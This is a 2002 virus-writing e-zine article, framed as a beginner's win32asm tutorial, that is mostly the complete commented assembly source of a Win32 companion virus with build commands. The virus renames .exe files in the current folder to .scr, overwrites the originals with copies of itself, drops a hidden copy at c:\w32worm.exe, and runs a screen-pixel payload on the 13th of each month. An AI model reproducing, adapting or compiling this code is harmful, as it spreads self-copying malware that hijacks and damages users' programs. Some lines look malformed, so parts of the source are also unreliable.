last article | table of contents | next article |
---|
Strange Article - Starting with win32asm by NeKr0
Hi, this is my old article, translated from the russian e-zine "Habitat". In this article I'll show how to easy write in win32asm. Forget your HLL and use power of pure asm (hi philie ;) . This companion virus is written in tasm syntaxis. It works in current folder: searches *.exe files, renames it to *.scr and writes itself to found file name, makes hidden dropper in c:\ . Checks date and if day=13 shows graphical payload (bloody fog). When you code in win32asm you must declare all API that your program uses. Like this: ;====================== tasm directives .386 ; .model flat ;flat memory model (wind0ze works in this model) ;====================== API list extrn FindFirstFileA:proc extrn FindNextFileA:proc extrn SetFileAttributesA:proc extrn MoveFileA:proc extrn CopyFileA:proc extrn GetCommandLineA:proc extrn CreateProcessA:proc extrn lstrcpyA:proc extrn ExitProcess:proc extrn CreateFileA:proc extrn CloseHandle:proc extrn MessageBoxA:proc extrn GetDC:proc extrn SetPixel:proc extrn GetSystemMetrics:proc extrn ExitProcess:proc extrn GetSystemTime:proc extrn MessageBoxA:proc ;====================== end of API list Next. We need a place to store our values. Better way - store it in data segment ;====================== data segment .data ; declaration segment of data Tdate: ;Place for date/time values Tyear dw 0 Tmonth dw 0 Tdow dw 0 Tday dw 0 Thour dw 0 Tmin dw 0 Tsec dw 0 Tmilsec dw 0 xcoord dd 0 ;There be width of screen ycoord dd 0 ; ------ height of screen newx dd 0 ;Coords for dots newy dd 0 ; dc dd 0 ;Handle of screen exe db '*.EXE',0 ;mask for searching FHandle dd 0 ;file handle processinf dd 4 dup (0) ; PROCESS_INFORMATION startupinf dd 4 dup (0) ; STARTUPINFO SearchRec db 44 dup (0) ;There is region for searh data-| FileName db 274 dup (0) ;file name in search data -| NewName db 260 dup (0) ;array for new file name MyName db 260 dup (0) ;array for virus name filehandle dd 0 ;file handle drp db 'c:\w32worm.exe',0 ;path & file name for dropper CopyLeft db ' [Win32.Companion by NeKr0!] ',0 ; copyleft txt db '!! Vivat Egor Letov !!',0 ; My favorit singer ;====================== end of data segment Yeah. Time to write code. ;====================== code segment .code ;declaration code segment worm: call GetCommandLineA ;Get command line push eax ;pointer to command line push offset MyName ;pointer to array for vius name call lstrcpyA ;copy mov edi,eax ;pointer to virus name search: cmp byte ptr [edi], '.' ;compare char jz found_dot ;if char='.' then go out inc edi ;add edi 1 jmp search ;search again found_dot: mov esi,edi ;store pointer to dot in esi inc esi ;add esi 1 add edi,4 mov byte ptr [edi],00 ;write 0 after file name infect: ; push offset SearchRec ;see data segment push offset exe ;mask for search call FindFirstFileA ;search mov dword ptr [FHandle],eax ;search handle check_exe: cmp eax,-1 ;check for errors je Drop ;like a '*.exe not found' or eax,eax ; jz Drop ;if error - make dropper infect_file: ; push offset FileName ; push offset NewName ; call lstrcpyA ;copy name of found file in our array mov edi,eax ;pointer to copied file name search_2: cmp byte ptr [edi],'.' ;search dot in file name jz found_dot2 ; inc edi ; jmp search_2 ; found_dot2: inc edi ; mov dword ptr [edi],'rcs' ;change extention to SCR mov byte ptr [edi+3],0 ;add 0 after file name push offset NewName ; push offset FileName ; call MoveFileA ;rename exe to scr or eax,eax ;check errors jz Next ;if error - find next file push 1 ; push offset FileName ; push offset MyName+1 ;Why MyName+1? Coz in wind0ze when ;you run file, it runs as "file.exe" ;and MyName="file.exe ;add 1 and MyName=file.exe call CopyFileA ;Copy our body with found file name Next: push offset SearchRec ; push dword ptr [FHandle] ; call FindNextFileA ;Search next file jmp check_exe ; drop: ;Make dropper push 0 ; push offset drp ; push offset MyName+1 ; call CopyFileA ;Copy our body to c:\ push 00000001h OR 00000002h ; lea eax,drp ; push eax ; call SetFileAttributesA ;Set attributes: hidden runz: ; push offset Tdate ;Check date call GetSystemTime cmp Tday,13 ; Doom day? je payload ; Yeah!!! push offset processinf ;In other days run host program push offset startupinf ; sub eax,eax ; push eax ; push eax ; push 10h ; push eax ; push eax ; push eax ; call GetCommandLineA ; inc eax ; push eax ; mov dword ptr [esi],'rcs' ;esi still point to name of executed file ;change extention of it file push offset MyName+1 ; call CreateProcessA ;and run it push 0 ; call ExitProcess ;Go out here payload: ;Kinda payload :) push 0 push offset CopyLeft push offset txt push 0 call MessageBoxA ;Horror MessageBox xor eax,eax ; push eax call GetDC mov dword ptr dc,eax ;Bllody fog there push 16 ;Learn asm if you are interested call GetSystemMetrics ;what it does :p mov dword ptr xcoord,eax push 17 call GetSystemMetrics ; mov dword ptr ycoord,eax next_pix: mov eax,dword ptr xcoord ; push eax call random mov dword ptr newx,eax mov eax,dword ptr ycoord ; push eax call random mov 4 ptr newy,eax push 200 ; push newy ; push newx ; push dc ; call SetPixel ; jmp next_pix ; random proc ;Random procedure ;where did i steal it? i forgot :) push edx ; a2a: db 0fh, 31h ; ; xor edx, edx ; div dword ptr [esp+8] ; in al,40h ; add dl,al ; xchg eax, edx ; r_out: pop edx ; ret 4 ; random endp ends end worm ;Kinda end of virus ;yeah! you have a simple windows wirus!!! ;================ end of code To compile this use batch file: ======================================= make.bat tasm32.exe /mx /m3 worm.asm,,; tlink32.exe /Tpe /aa /c /v worm.obj,,, import32.lib, ======================================= P.S.: sorry for my english :) (c) 2002 NeKr0! (from Habitat e-zine)